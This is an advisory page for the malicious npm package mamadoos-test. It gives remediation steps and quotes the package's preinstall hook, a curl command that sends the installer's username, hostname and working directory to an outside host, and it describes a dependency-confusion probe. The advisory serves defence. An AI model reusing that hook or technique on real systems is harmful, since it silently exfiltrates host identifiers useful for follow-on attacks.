MAL-2026-4605 Malicious code in mamadoos-test (npm)
Malicious package
Published
MAL-2026-4605 is a malicious package: mamadoos-test (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4605/ (Markdown: https://insights.sbomify.com/MAL-2026-4605/index.md)
- Package
- mamadoos-test
- Registry
- npm
What is MAL-2026-4605?
MAL-2026-4605 is a malicious package in mamadoos-test, published on 20 May 2026.
Official description
package.json declares a preinstall lifecycle hook that runs
curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd), embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on npm install with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (mamadoos-test: ^10.0.0), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).What should I do about MAL-2026-4605?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-qwhw-2wfv-rv3r.